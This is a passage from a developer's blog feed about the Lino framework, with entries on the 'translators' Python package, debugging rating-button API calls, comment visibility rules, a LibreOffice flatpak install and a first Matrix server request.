&lt;p&gt;That was fun, but it’s rather useless, because there are JS scripts for doing
this automatically and better.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/1031.html</guid><pubDate>Fri, 31 Oct 2025 00:00:00 +0000</pubDate></item><item><title>Wonderful world</title><link>https://luc.lino-framework.org/blog/2025/1029.html</link><description>&lt;section id="wonderful-world"&gt;
&lt;h1&gt;Wonderful world&lt;a class="headerlink" href="#wonderful-world" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Wednesday, October 29, 2025&lt;/p&gt;
&lt;p&gt;I found the &lt;a class="reference external" href="https://github.com/uliontse/translators"&gt;translators&lt;/a&gt; package and
thought by myself: what a wonderful world.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Wonderful world&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;I hear babies cry, I watch them grow, they&amp;#39;ll learn much more than I&amp;#39;ll ever know, and I think to myself: What a wonderful world.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;!DOCTYPE html&amp;gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;... &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;translators&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;as&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;ts&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Optionally caching sessions in advance can help improve access speed:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="c1"&gt;# ts.preaccelerate_and_speedtest()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="c1"&gt;# help(ts.translate_text)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;translators_pool&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;[&amp;#39;alibaba&amp;#39;, &amp;#39;apertium&amp;#39;, &amp;#39;argos&amp;#39;, &amp;#39;baidu&amp;#39;, &amp;#39;bing&amp;#39;, &amp;#39;caiyun&amp;#39;, &amp;#39;cloudTranslation&amp;#39;,&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;deepl&amp;#39;, &amp;#39;elia&amp;#39;, &amp;#39;google&amp;#39;, &amp;#39;hujiang&amp;#39;, &amp;#39;iciba&amp;#39;, &amp;#39;iflytek&amp;#39;, &amp;#39;iflyrec&amp;#39;,&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;itranslate&amp;#39;, &amp;#39;judic&amp;#39;, &amp;#39;languageWire&amp;#39;, &amp;#39;lingvanex&amp;#39;, &amp;#39;niutrans&amp;#39;, &amp;#39;mglip&amp;#39;,&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;mirai&amp;#39;, &amp;#39;modernMt&amp;#39;, &amp;#39;myMemory&amp;#39;, &amp;#39;papago&amp;#39;, &amp;#39;qqFanyi&amp;#39;, &amp;#39;qqTranSmart&amp;#39;, &amp;#39;reverso&amp;#39;,&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;sogou&amp;#39;, &amp;#39;sysTran&amp;#39;, &amp;#39;tilde&amp;#39;, &amp;#39;translateCom&amp;#39;, &amp;#39;translateMe&amp;#39;, &amp;#39;utibet&amp;#39;,&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;volcEngine&amp;#39;, &amp;#39;yandex&amp;#39;, &amp;#39;yeekit&amp;#39;, &amp;#39;youdao&amp;#39;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;translator&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;alibaba&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;to_language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;et&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;translate_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;Ma kuulen beebid nutmas, vaatan neid kasvamas, nad õpivad palju rohkem, kui ma&lt;/span&gt;
&lt;span class="go"&gt;kunagi tean. Ja ma mõtlen, milline imeline maailm.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;translator&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;google&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;to_language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;et&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;translate_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;Ma kuulen imikute nuttu, vaatan, kuidas nad kasvavad, nad õpivad palju rohkem,&lt;/span&gt;
&lt;span class="go"&gt;kui mina kunagi teada saan, ja ma mõtlen endamisi: milline imeline maailm.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;translator&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;deepl&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;to_language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;et&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;translate_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;Ma kuulen, kuidas lapsed nutavad, ma vaatan, kuidas nad kasvavad, nad õpivad&lt;/span&gt;
&lt;span class="go"&gt;palju rohkem, kui mina kunagi teada saan, ja ma mõtlen endamisi: Milline imeline&lt;/span&gt;
&lt;span class="go"&gt;maailm.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;translator&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;bing&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;to_language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;et&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;translate_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;Ma kuulen beebide nutmist, ma vaatan, kuidas nad kasvavad, nad õpivad palju&lt;/span&gt;
&lt;span class="go"&gt;rohkem, kui mina kunagi tean, ja ma mõtlen endamisi: Kui imeline maailm.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;translator&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;google&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;to_language&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;bn&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ts&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;translate_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kwargs&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;আমি বাচ্চাদের কান্না শুনতে পাই, আমি তাদের বড় হতে দেখি, তারা আমি যা জানতাম তার&lt;/span&gt;
&lt;span class="go"&gt;চেয়েঅনেক বেশি শিখবে, এবং আমি মনে মনে ভাবি: কী চমৎকার পৃথিবী।&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Possible exceptions:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;requests.exceptions.HTTPError: 429 Client Error: Too Many Requests for url: &lt;a class="reference external" href="https://www2.deepl.com/jsonrpc?method=LMT_split_text"&gt;https://www2.deepl.com/jsonrpc?method=LMT_split_text&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;translators.server.TranslatorError: Unsupported to_language[et]&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/1029.html</guid><pubDate>Wed, 29 Oct 2025 00:00:00 +0000</pubDate></item><item><title>Sunday, September 14, 2025</title><link>https://luc.lino-framework.org/blog/2025/0914.html</link><description>&lt;section id="sunday-september-14-2025"&gt;
&lt;h1&gt;Sunday, September 14, 2025&lt;a class="headerlink" href="#sunday-september-14-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;User cannot set predicate or smiley directly from the
&lt;cite&gt;as_paragraph&lt;/cite&gt; view of
&lt;cite&gt;ElementResponsesBySection&lt;/cite&gt;.
in the detail of an &lt;cite&gt;SectionResponse&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;rating_buttons&lt;/p&gt;
&lt;p&gt;Both methods call &lt;cite&gt;Ratable.get_rating_buttons&lt;/cite&gt; on an &lt;cite&gt;ElementResponse&lt;/cite&gt; to
generate this HTML.&lt;/p&gt;
&lt;p&gt;set_score_action_directly is available on 4 models:
ChallengeRating
FinalRating
ElementResponse
SectionResponse&lt;/p&gt;
&lt;p&gt;The URL in the href of the link (generated by row_action_button) is almost the
same in both cases, only difference is the “onMain” keyword, which is false in
the first case and true in the other case.&lt;/p&gt;
&lt;p&gt;(a) &lt;a class="reference external" href="javascript:window.App"&gt;javascript:window.App&lt;/a&gt;.runAction({ “action_full_name”:
“ratings.ChallengeRatings.set_score_action_directly”, “actorId”:
“cert.ElementResponsesBySection”, “onMain”: true, “rp”: “weak-key-0”, “sr”:
1453, “status”: { “fv”: [ null, “2” ] } })&lt;/p&gt;
&lt;p&gt;(b) &lt;a class="reference external" href="javascript:window.App"&gt;javascript:window.App&lt;/a&gt;.runAction({ “action_full_name”:
“ratings.ChallengeRatings.set_score_action_directly”, “actorId”:
“cert.ElementResponsesBySection”, “onMain”: false, “rp”: “weak-key-0”, “sr”:
1453, “status”: { “fv”: [ null, “2” ] } })&lt;/p&gt;
&lt;p&gt;But the Ajax call that gets sent by App.runAction then differs, more precisely
the values mk=462 and mt=29 are missing (and that’s probably our problem):&lt;/p&gt;
&lt;p&gt;(a) GET /api/cert/ElementResponsesBySection/1453?an=set_score_action_directly
&amp;amp;fmt=json&amp;amp;fv&amp;amp;fv=2&amp;amp;sr=1453&lt;/p&gt;
&lt;p&gt;(b) GET /api/cert/ElementResponsesBySection/1453?an=set_score_action_directly
&amp;amp;dm=detail&amp;amp;fmt=json&amp;amp;fv&amp;amp;fv=2&amp;amp;mk=462&amp;amp;mt=29&amp;amp;sr=1453&amp;amp;wt=d&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0914.html</guid><pubDate>Sun, 14 Sep 2025 00:00:00 +0000</pubDate></item><item><title>Monday, August 18, 2025</title><link>https://luc.lino-framework.org/blog/2025/0818.html</link><description>&lt;section id="monday-august-18-2025"&gt;
&lt;h1&gt;Monday, August 18, 2025&lt;a class="headerlink" href="#monday-august-18-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;To be meditated: What should be the default value for the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;group&lt;/span&gt;&lt;/code&gt; field of a
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;PrivacyRelevant&lt;/span&gt;&lt;/code&gt;? When an end-user writes a comment, and the group is
not obvious from the context, Lino can set the user’s &lt;cite&gt;current_group&lt;/cite&gt;. But if
that happens to be empty as well? Okay technically the group field may be empty,
but right now a comment without a group wouldn’t be visible even to its author.
I could change that rule and say that comments without a group are visible to
everybody, but that sounds dangerous on sites with very confidential data.  Okay
we have the plugin setting &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.private_default" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.users.private_default&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Answer: a comment without a group should be visible (1) only to its author (and
to SiteAdmin) if it’s marked private, and (2) to everybody if it’s not marked
private.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0818.html</guid><pubDate>Mon, 18 Aug 2025 00:00:00 +0000</pubDate></item><item><title>Friday, August 1, 2025</title><link>https://luc.lino-framework.org/blog/2025/0801.html</link><description>&lt;section id="friday-august-1-2025"&gt;
&lt;h1&gt;Friday, August 1, 2025&lt;a class="headerlink" href="#friday-august-1-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I’m trying to understand why &lt;kbd class="kbd docutils literal notranslate"&gt;Ctrl&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;Shift&lt;/kbd&gt;+&lt;kbd class="kbd docutils literal notranslate"&gt;U&lt;/kbd&gt; doesn’t work in LibreOffice on
my computer. Somebody suggested to say:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ flatpak install flathub org.libreoffice.LibreOffice
Looking for matches…

org.libreoffice.LibreOffice permissions:
    ipc      network      fallback-x11      pulseaudio      wayland      x11      dri      file access [1]      dbus access [2]     bus ownership [3]

    [1] host, xdg-config/fontconfig:ro, xdg-config/gtk-3.0, xdg-run/gvfsd
    [2] com.canonical.AppMenu.Registrar, org.gtk.vfs.*
    [3] org.libreoffice.LibreOfficeIpc0

        ID                                            Branch           Op           Remote            Download
 1.     org.gtk.Gtk3theme.Breeze                      3.22             u            flathub           &amp;lt; 192,6 kB
 2.     org.libreoffice.LibreOffice.Locale            stable           i            flathub            &amp;lt; 89,4 MB (partial)
 3.     org.libreoffice.LibreOffice                   stable           i            flathub           &amp;lt; 321,1 MB

Proceed with these changes to the system installation? [Y/n]:
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But what does that mean?&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0801.html</guid><pubDate>Fri, 01 Aug 2025 00:00:00 +0000</pubDate></item><item><title>Saturday, July 5, 2025</title><link>https://luc.lino-framework.org/blog/2025/0705.html</link><description>&lt;section id="saturday-july-5-2025"&gt;
&lt;h1&gt;Saturday, July 5, 2025&lt;a class="headerlink" href="#saturday-july-5-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;My first communication with a matrix server (after reading &lt;a class="reference external" href="https://spec.matrix.org/v1.14/client-server-api/"&gt;the specs&lt;/a&gt;):&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pprint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pprint&lt;/span&gt;
&lt;span class="n"&gt;server_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;https://matrix.org&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;server_url&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/.well-known/matrix/client&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status_code&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;201&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;202&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;204&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;pprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The output is:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;m.homeserver&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;base_url&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https://matrix-client.matrix.org&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;m.identity_server&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;base_url&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https://vector.im&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;org.matrix.msc2965.authentication&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;account&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https://account.matrix.org/account/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                       &lt;span class="s1"&gt;&amp;#39;issuer&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https://account.matrix.org/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;org.matrix.msc4143.rtc_foci&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;livekit_service_url&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;https://livekit-jwt.call.matrix.org&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                                  &lt;span class="s1"&gt;&amp;#39;type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;livekit&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}]}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0705.html</guid><pubDate>Sat, 05 Jul 2025 00:00:00 +0000</pubDate></item><item><title>BeautifulSoup and lxml</title><link>https://luc.lino-framework.org/blog/2025/0704.html</link><description>&lt;section id="beautifulsoup-and-lxml"&gt;
